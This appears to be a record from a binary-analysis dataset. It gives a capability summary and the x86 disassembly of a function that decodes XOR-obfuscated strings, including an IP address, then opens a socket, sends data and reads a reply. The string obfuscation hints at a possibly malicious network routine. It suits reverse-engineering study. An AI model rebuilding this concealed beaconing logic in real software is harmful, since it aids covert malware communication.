Function at 0x40e84f
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov eax, 0x485b2c
call fcn.004847e4
sub esp, 0x31c
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x64], ebx
call fcn.0040eca4
mov ecx, ebx
call fcn.0040ef8c
push 0xa
pop eax
push eax
lea eax, [ebp - 0x130]
xor ebx, ebx
push eax
push ebx
call fcn.00473d37
add esp, 0xc
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], ebx
push ebx
push ebx
call fcn.00402cee
push ebx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x7c]
push ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
call fcn.00402cee
mov ecx, 0xae
mov edx, ebx
mov al, byte [edx + 0x4977bc]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x2e], al
and ecx, 0x800000ff
jns 0x40e8d0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x15
jl 0x40e8b3
mov byte [ebp - 0x19], bl
push 2
pop ebx
lea eax, [ebp - 0x2e]
mov byte [ebp - 4], bl
push eax
call fcn.004014c9
pop ecx
push eax
lea eax, [ebp - 0x2e]
push eax
lea ecx, [ebp - 0x48]
call fcn.00402f9d
push 0x6dadfa5
lea ecx, [ebp - 0x24]
call fcn.00412393
mov esi, eax
push esi
mov byte [ebp - 4], 3
call fcn.004014c9
pop ecx
push eax
push esi
lea ecx, [ebp - 0x48]
call fcn.00402f9d
mov eax, 0x4977e0
lea ecx, [ebp - 0xab]
sub eax, 0x7fde1c86
push eax
call fcn.004123d1
mov esi, eax
push esi
mov byte [ebp - 4], 4
call fcn.004014c9
pop ecx
push eax
push esi
lea ecx, [ebp - 0x48]
call fcn.00402f9d
push 0x509b6251
lea ecx, [ebp - 0x17]
call fcn.0041240f
mov esi, eax
push esi
mov byte [ebp - 4], 5
call fcn.004014c9
pop ecx
push eax
push esi
lea ecx, [ebp - 0x48]
call fcn.00402f9d
push 0x509b6255
lea ecx, [ebp - 0x17]
call fcn.0041240f
mov esi, eax
push esi
mov byte [ebp - 4], 6
call fcn.004014c9
pop ecx
push eax
push esi
lea ecx, [ebp - 0x48]
call fcn.00402f9d
lea eax, [ebp - 0x328]
mov byte [ebp - 4], 1
push eax
push ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40e9c2
mov eax, 0x497808
lea ecx, [ebp - 0x2c]
sub eax, 0x6194925e
push eax
call fcn.00412225
mov byte [ebp - 4], 7
push eax
call fcn.00410bd4
push 6
push 1
push ebx
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
test ebx, ebx
jns 0x40e9e6
push 0x732e757
lea ecx, [ebp - 0x28]
call fcn.00412261
mov byte [ebp - 4], 8
jmp 0x40e9bc
xor eax, eax
lea edi, [ebp - 0x8c]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x27]
push 2
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
mov word [ebp - 0x8c], ax
mov eax, 0x49782c
sub eax, 0x37a4b193
push eax
call fcn.0041244d
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x64]
movzx eax, word [eax + 0x3d4]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x8a], ax
lea eax, [ebp - 0x8c]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x40ea5e
push 0x80bba2
lea ecx, [ebp - 0x29]
call fcn.00412489
mov byte [ebp - 4], 9
jmp 0x40e9bc
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
mov esi, dword [ebp - 0x38]
cmovae eax, dword [ebp - 0x48]
xor edi, edi
push edi
push esi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, esi
je 0x40ea9d
mov eax, 0x497850
lea ecx, [ebp - 0xc4]
sub eax, 0x69990267
push eax
call fcn.004124c5
push 0xa
pop ecx
mov byte [ebp - 4], cl
jmp 0x40e9bc
mov esi, 0x49477a
push esi
call fcn.004014c9
pop ecx
push eax
push esi
lea ecx, [ebp - 0x7c]
call fcn.00402e2f
push edi
push 1
lea eax, [ebp - 0xd]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x40eb0e
lea eax, [ebp - 0xd]
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fa0
push esi
push edi
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0xb
push ecx
mov ecx, eax
call fcn.00410f31
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0xc
call fcn.0040303f
push edi
push 1
lea ecx, [ebp - 0x60]
call fcn.00402cee
push edi
push 1
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.00402cee
cmp esi, 1
je 0x40eab3
cmp dword [ebp - 0x68], 0x10
lea eax, [ebp - 0x7c]
push 0xa
cmovae eax, dword [ebp - 0x7c]
pop ecx
mov word [ebp - 0x14], cx
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.0046ea36
pop ecx
pop ecx
mov esi, eax
jmp 0x40ec2d
push esi
lea ecx, [ebp - 0x60]
call fcn.00401fa0
push 0x20
push edi
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x60]
call fcn.00410f31
push eax
lea ecx, [ebp - 0x60]
call fcn.00410f68
xor esi, esi
lea ecx, [ebp - 0xa8]
push edi
inc esi
push esi
call fcn.00402cee
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
cmovae ecx, dword [ebp - 0x60]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eb7e
push 0xa
pop eax
push eax
lea eax, [ebp - 0x198]
sub ecx, edx
push eax
push ecx
call fcn.00473d37
add esp, 0xc
mov edx, edi
push 0x6d
pop ecx
mov al, byte [edx + 0x49788c]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x24], al
and ecx, 0x800000ff
jns 0x40ebbd
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x40eba0
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push 2
cmovae eax, dword [ebp - 0x60]
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x19], 0
pop edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ebf6
test dl, dl
je 0x40ebf2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ebf6
add eax, edi
add ecx, edi
test dl, dl
jne 0x40ebd8
xor eax, eax
jmp 0x40ebfa
sbb eax, eax
or eax, esi
test eax, eax
lea edi, [ebp - 0x24]
sete cl
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
test cl, cl
jne 0x40ec6d
lea eax, [ebp - 0x14]
push eax
push 0
call fcn.0046ea36
pop ecx
pop ecx
push 0
push 1
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
mov esi, eax
call fcn.00402cee
push 0
pop edi
test esi, esi
jne 0x40eb38
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
push 1
lea ecx, [ebp - 0x7c]
call fcn.00402cee
push esi
push 1
lea ecx, [ebp - 0x48]
call fcn.00402cee
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ebx, ebx
lea ecx, [ebp - 0x60]
push ebx
push esi
call fcn.00402cee
push ebx
push esi
lea ecx, [ebp - 0x7c]
call fcn.00402cee
push ebx
push esi
lea ecx, [ebp - 0x48]
call fcn.00402cee
mov eax, esi
jmp 0x40ec5a